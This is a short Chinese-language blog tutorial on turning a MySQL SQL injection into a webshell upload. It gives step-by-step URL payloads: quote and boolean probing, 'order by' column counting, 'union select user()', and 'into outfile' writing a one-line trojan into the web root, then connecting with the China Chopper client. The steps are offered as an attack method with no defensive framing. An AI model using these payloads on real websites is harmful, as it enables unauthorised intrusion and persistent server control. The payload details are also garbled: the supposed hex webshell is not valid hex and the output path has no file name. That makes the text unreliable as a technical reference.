SQL注入之木马上传

原理:利用MySQL中的写命令into outfile(固定式:select A into outfile B),在目标Web虚拟路径D:/WWW/下面生成一个木马文件 工具:中国菜刀

1.首先查找SQL注入点

使用单引号’报错,使用and 1=1页面正常和and 1=2页面不正常,来判断存在SQL注入

2.使用order by猜测字段数量

id=1+order+by+2–+ //使用order by时,只有在使用比正确的值大时才会报错

3.使用union查询当前用户

id=1+union+select+user(),2–+ //当前用户为root, 猜测可能是file权限

4.写一句话木马到网站路径,木马要写成16进制

id=1+union+select+3c33tdfhdho,2 into outfile ‘D:/www/’–+

5.菜刀连接

输入木马保存路径:D:\www\

(0)
上一篇 2022年3月21日
下一篇 2022年3月21日

相关推荐